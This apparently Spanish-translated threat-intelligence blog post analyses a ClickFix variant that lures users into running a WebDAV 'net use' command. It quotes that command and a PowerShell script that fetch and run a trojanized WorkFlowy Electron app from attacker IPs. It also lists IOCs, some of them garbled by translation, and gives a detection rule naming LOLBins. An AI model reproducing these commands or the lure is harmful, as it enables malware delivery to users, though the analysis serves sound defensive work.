domingo, marzo 15, 2026

Investigando una nueva variante de Click-Fix

TecnologíaInvestigando una nueva variante de Click-Fix

Descargo de responsabilidad: Este informe ha sido elaborado por el Centro de Investigación de Amenazas para mejorar la concienciación sobre la ciberseguridad y apoyar el fortalecimiento de las capacidades de defensa. Se basa en investigaciones y observaciones independientes del panorama de amenazas actual disponibles en el momento de la publicación. El contenido está destinado únicamente a fines informativos y de preparación.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

Resumen

Los investigadores de Atos identificaron una nueva variante de la popular técnica ClickFix, donde los atacantes convencen al usuario para que ejecute un comando malicioso en su propio dispositivo a través del acceso directo Win + R. En esta variación, se utiliza un comando «net use» para asignar una unidad de red desde un servidor externo, después de lo cual se ejecuta un archivo por lotes «.cmd» alojado en esa unidad. El script descarga un archivo ZIP, lo descomprime y ejecuta la aplicación WorkFlowy legítima con una lógica maliciosa modificada oculta dentro del archivo «.asar». Esto actúa como una baliza C2 y un gotero para la carga útil final del malware.

Figura 1: descripción general de alto nivel del flujo de ataques.

Descripción general del ataque

En esta versión, el vector de ataque inicial es el mismo que en todas las demás, una página web que se hace pasar por un mecanismo captcha: “happyglamper(.)ro”. Solicita al usuario que abra la aplicación Ejecutar mediante «Win+R», seguido de «Ctrl+V» y «Enter».

Figura 2: Sitio web de phishing 1
Figura 3: Sitio web de phishing 2

Esto ejecuta el siguiente comando:

“cmd.exe” /c net use Z: http://94.156.170(.)255/webdav /persistent:no && “Z:update.cmd” & net use Z: /delete

Normalmente, en esta etapa, los atacantes han utilizado PowerShell o mshta para descargar y ejecutar la siguiente etapa del malware. Aquí, en cambio, podemos ver que el «uso de red» se utiliza para asignar y conectarse a una unidad de red de un servidor externo desde el cual se ejecuta un script por lotes. Si bien no son novedosos, estos TTP nunca antes se habían visto en ataques ClickFix. Combinada con las siguientes etapas poco comunes de patrones de infección, esta campaña brinda a los adversarios altas posibilidades de evadir los controles defensivos y permanecer fuera del radar de los defensores.

En este caso, la variante ClickFix observada del flujo de ejecución evitó con éxito la detección de Microsoft Defender para Endpoint. Los equipos de seguridad de Atos pudieron detectarlo solo gracias al servicio interno Threat Hunting, que se centró en el principal aspecto de comportamiento de la técnica ClickFix: la ejecución inicial a través de la clave de registro RunMRU (consulta de búsqueda disponible en la sección Apéndice).

El script de ejecución inicial “update.cmd” se carga desde la unidad asignada y se ejecuta; después de eso, se elimina la unidad asignada. Contenido de “update.cmd”:

start "" /min powershell -WindowStyle Hidden -Command "Invoke-WebRequest 'http://94.156.170(.)255/flowy.zip' -OutFile "$env:TEMPdl.zip";
Expand-Archive "$env:TEMPdl.zip" -DestinationPath "$env:LOCALAPPDATAMyApp" -Force;
Start-Process "$env:LOCALAPPDATAMyAppWorkFlowy.exe""

Esto genera una instancia de PowerShell que descarga un archivo zip y lo extrae en el directorio “%LOCALAPPDATA%MyApp”. Luego ejecuta el binario “WorkFlowy.exe”.

Figura 4: Contenido del archivo flowy.zip

Análisis de flujo de trabajo

El archivo contiene una aplicación de escritorio WorkFlowy (versión 1.4.1050), firmada por el desarrollador “FunRoutine Inc.”, distribuida como un paquete de aplicaciones Electron. Las aplicaciones de Electron se escriben utilizando tecnologías web populares (HTML, CSS y JavaScript) y utilizan archivos «.asar» para empaquetar el código fuente durante el empaquetado de la aplicación. Se hace por varias razones, como mitigar problemas relacionados con nombres de rutas largos en Windows. El código malicioso se inyectó en main.js, el punto de entrada de Node.js de la aplicación, oculto dentro del archivo app.asar.

Perfil Técnico

Propiedad Valor
Aplicación de destino Escritorio WorkFlowy (electrón)
Versión maliciosa 1.4.1050
Archivo malicioso recursos/app.asar → /main.js
dominio C2 cloudflare.report/forever/e/
IP de origen C2 144(.)31(.)165(.)173 (Fráncfort, AS215439 play2go.cloud)
Dominio registrado Enero de 2026, registrante de HK, registrador OnlineNIC
Archivo de identificación de víctima %APPDATA%id.txt
Director de puesta en escena con cuentagotas %TEMP%(unix_timestamp)

Vector de infección

El archivo malicioso ASAR es un reemplazo directo del legítimo resources/app.asar. El atacante volvió a empaquetar una versión anterior de la aplicación (v1.4 frente a la v4.3 actual) con código inyectado.

Figura 5: Contenido del subdirectorio «recursos»

Código malicioso (gotero/baliza)

Cuando se ejecuta WorkFlowy, busca el archivo app.asar en la ruta relativa codificada en el binario. Luego lee el archivo main.js desde su interior, lo decodifica en una cadena y lo analiza en el motor JavaScript V8 de Google integrado, que lo ejecuta. Los atacantes han reemplazado el main.js legítimo por uno que ellos mismos han creado. En lugar de scripts bien estructurados, han utilizado una estructura en línea muy ofuscada, agregando código malicioso encima del legítimo, asegurando que se ejecute primero y bloqueando la funcionalidad WorkFlowy.

El código malicioso contiene varias funciones críticas:

  1. El malware se ejecuta antes de que se inicie la aplicación legítima: El IIFE inyectado se abre con await f(), el bucle infinito de baliza C2. Debido a que f() nunca se resuelve, todo el código de inicialización legítimo de WorkFlowy que sigue se bloquea permanentemente. El malware se ejecuta con privilegios completos de Node.js inmediatamente después del lanzamiento.
  2. Toma de huellas dactilares persistente de la víctima a través de %APPDATA%id.txt: En la primera ejecución se genera un ID alfanumérico aleatorio de 8 caracteres y se escribe en %APPDATA%id.txt. En ejecuciones posteriores, la identificación almacenada se vuelve a leer, lo que le brinda al atacante un identificador estable para cada máquina víctima en todas las sesiones.
  3. Baliza C2: extrae la identidad del host cada 2 segundos: La función u() envía una POST HTTP que contiene la identificación única de la víctima, el nombre de la máquina y el nombre de usuario de Windows al servidor C2. El bucle en f() repite esto indefinidamente con un intervalo de 2 segundos.
  4. Descarga y ejecución remota de carga útil: La función p() recibe un objeto de tarea del C2, decodifica el contenido del archivo codificado en base64, lo escribe en un directorio con marca de tiempo en %TEMP% y ejecuta cualquier .exe a través de child_process.exec.

Si no se establece la conexión C2, no se generan archivos ni directorios. En el momento de realizar este análisis, el dominio C2 ya no respondía.

Por qué Electron es un mecanismo de entrega eficaz

El código malicioso se ejecuta en el proceso principal de Node.js, fuera del entorno limitado de Chromium, con todos los privilegios del usuario que ha iniciado sesión, lo que permite que el código malicioso ejecute cualquier acción que el usuario pueda realizar en el sistema. En realidad, no se escriben archivos en el disco y, dado que la carga útil maliciosa está empaquetada dentro del archivo «.asar», también ayuda a ocultar el código malicioso.

Persistencia

No se implementa ninguna persistencia a nivel del sistema operativo a través del cuentagotas. La baliza se ejecuta solo mientras WorkFlowy está abierto. El único artefacto escrito en el disco antes de la entrega en la siguiente etapa es %APPDATA%id.txt (ID de seguimiento de la víctima), y eso solo si la conexión a C2 se establece correctamente. Presumiblemente, se delega una persistencia a nivel del sistema operativo a cualquier carga útil que entregue el C2 a través del cuentagotas.

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

Conclusiones clave

Esta variante de ClickFix es importante porque aleja el acceso inicial de los motores de ejecución y secuencias de comandos de los que comúnmente se abusa, como PowerShell, MSHTA y WScript, y en su lugar depende del uso de la red para abusar de WebDAV como mecanismo de entrega. Las campañas anteriores de ClickFix generalmente se exponían al invocar directamente intérpretes o binarios que viven fuera de la tierra y que están fuertemente monitoreados por soluciones EDR modernas. Por el contrario, esta iteración monta un recurso compartido WebDAV remoto como una unidad local, ejecuta un archivo por lotes alojado mediante la semántica estándar del sistema de archivos y elimina la asignación inmediatamente después de su uso. Esto muestra que ClickFix aún evoluciona, expande su arsenal de métodos de ejecución de proxy y comienza a utilizar utilidades de red nativas.

La lógica maliciosa se oculta reemplazando el contenido del archivo app.asar de la aplicación Workflowy con una versión troyanizada de main.js. Debido a que el código se ejecuta dentro del proceso principal de Electron y permanece empaquetado dentro de una aplicación legítima, evita muchas detecciones de comportamiento y basadas en archivos que se centran en cargadores independientes o intérpretes de scripts. Los archivos ASAR rara vez se inspeccionan, lo que permite que la lógica del dropper se ejecute durante el inicio normal de la aplicación con una visibilidad mínima.

Esta actividad no fue detectada por los controles de seguridad y solo se identificó mediante la búsqueda de amenazas dirigida en Atos. La detección se basó en analizar el contexto de ejecución en lugar de los indicadores de carga útil, específicamente buscando ejecuciones de comandos sospechosas que se originaran en el cuadro de diálogo Ejecutar del Explorador (registrado dentro de la clave de registro RunMRU). Esto subraya la creciente importancia de la caza de amenazas como mecanismo de detección complementario: a medida que las campañas de ClickFix cambian hacia utilidades nativas y aplicaciones confiables que generan pocas alertas, sólo la caza proactiva y basada en hipótesis puede ayudar a sacar a la luz estas señales débiles lo suficientemente temprano como para interrumpir la cadena de ataque.

Apéndices

COI

Dominio informe de llamarada de nube(.)
Dominio felizglamper(.)ro
IP 94(.)156(.)170(.)255
IP 144(.)31(.)165(.)173
URL https://cloudflare(.)informe/forever/e/
Archivo %APPDATA%id.txt
Camino %TEMP%(marca de tiempo de 13 dígitos)
SHA256 a390fe045f50a0697b14160132dfa124c7f92d85c18fba07df351c2fcfc11063 (aplicación.asar)
SHA256 9ee58eb59e337c06429ff3f0afd0ee6886b0644ddd4531305b269e97ad2b8d42 (WorkFlowy.exe: versión anterior del binario legítimo, no malicioso)
SHA256 dc95f7c7fb98ec30d3cb03963865a11d1b7b696e34f163b8de45f828b62ec829 (principal.js)

Consulta de caza

  • título: Comandos sospechosos ejecutados mediante el cuadro de diálogo Ejecutar
  • identificación: 20891a30-032e-4f15-a282-fa4a8b0d8aae
  • estado: experimental
  • descripción:
  • Detecta intérpretes de comandos sospechosos y LOLBins escritos en la clave de registro Explorer RunMRU (comúnmente utilizada para el historial de diálogo de ejecución), con explorer.exe como proceso de inicio.
  • autor: CVR
  • fecha: 2026-03-05
  • etiquetas:
  • – ataque.ejecución
  • – ataque.t1059
  • – ataque.defense_evasion
  • fuente de registro:
  • categoría: conjunto_registro
  • producto: ventanas
  • definición: «ID de evento de Sysmon 13 (conjunto de valores de registro) o telemetría de registro EDR equivalente»
  • detección:
  • clave_selección:
  • TargetObject|contiene: ‘SOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU’
  • proceso_selección:
  • Imagen|termina con: ‘explorer.exe’
  • datos_de_selección:
  • Detalles|contiene:
  • – ‘cmd’
  • – ‘powershell’
  • – ‘cmd.exe’
  • – ‘powershell.exe’
  • – ‘wscript.exe ‘
  • – ‘cscript.exe’
  • – ‘net.exe’
  • – ‘net1.exe’
  • – ‘sh.exe’
  • – ‘bash.exe’
  • – ‘schtasks.exe’
  • – ‘regsvr32.exe’
  • – ‘hh.exe’
  • – ‘wmic.exe ‘
  • – ‘mshta.exe’
  • – ‘rundll32.exe’
  • – ‘msiexec.exe ‘
  • – ‘forfiles.exe’
  • – ‘scriptrunner.exe’
  • – ‘mftrace.exe ‘
  • – ‘AppVLP.exe ‘
  • – ‘svchost.exe’
  • – ‘msbuild.exe’
  • condición: clave_selección y proceso_selección y datos_selección
  • falsos positivos:
  • – «Actividad administrativa legítima utilizando el cuadro de diálogo Ejecutar (Win+R) para ejecutar herramientas integradas».
  • – «Scripts de TI o pasos de solución de problemas ejecutados de forma interactiva por un usuario».
  • nivel: medio

Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield

Artículos más populares